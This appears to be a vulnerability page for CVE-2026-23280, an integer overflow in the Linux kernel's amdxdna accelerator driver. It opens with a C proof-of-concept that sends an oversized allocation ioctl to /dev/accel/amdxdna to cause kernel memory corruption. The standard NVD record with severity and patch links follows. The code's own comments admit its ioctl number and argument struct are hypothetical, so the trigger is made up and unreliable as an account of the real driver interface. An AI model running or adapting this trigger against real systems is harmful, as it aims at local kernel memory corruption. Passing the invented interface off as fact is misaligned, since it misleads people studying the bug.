CVE-2026-23280

#include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdint.h> // Hypothetical device path and IOCTL definitions for the PoC #define DEVICE_PATH "/dev/accel/amdxdna" #define IOCTL_ALLOC_BUFFER 0x8001 struct alloc_args { uint64_t size; uint64_t flags; }; int main() { int fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("Failed to open device"); return -1; } struct alloc_args args; // Trigger potential integer overflow in size calculation // If size + header_size overflows, allocation is undersized args.size = 0xFFFFFFFFFFFFFFF0; args.flags = 0; printf("Attempting to trigger vulnerability in CVE-2026-23280...\n"); // The specific IOCTL call that triggers the vulnerable path if (ioctl(fd, IOCTL_ALLOC_BUFFER, &args) < 0) { perror("IOCTL failed"); } else { printf("IOCLT succeeded. Check kernel logs for memory corruption.\n"); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-23280", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:22.523", "lastModified": "2026-05-22T00:36:17.197", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\naccel/amdxdna: Prevent ubuf size overflow\n\nThe ubuf size calculation may overflow, resulting in an undersized\nallocation and possible memory corruption.\n\nUse check_add_overflow() helpers to validate the size calculation before\nallocation."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\naccel/amdxdna: Prevenir desbordamiento del tamaño de ubuf\n\nEl cálculo del tamaño de ubuf puede desbordarse, resultando en una asignación de tamaño insuficiente y posible corrupción de memoria.\n\nUsar ayudantes check_add_overflow() para validar el cálculo del tamaño antes de la asignación."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18", "versionEndExcluding": "6.18.17", "matchCriteriaId": "91D34097-62D4-400A-8894-1A45A5B44EEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.7", "matchCriteriaId": "69245D10-0B71-485E-80C3-A64F077004D3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/03808abb1d868aed7478a11a82e5bb4b3f1ca6d6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/1500b31db94374a6669e73ce94d6f71cf8e85e06", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/972bf4a23478fcb247b4f507d47a584bc8aea5bd", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}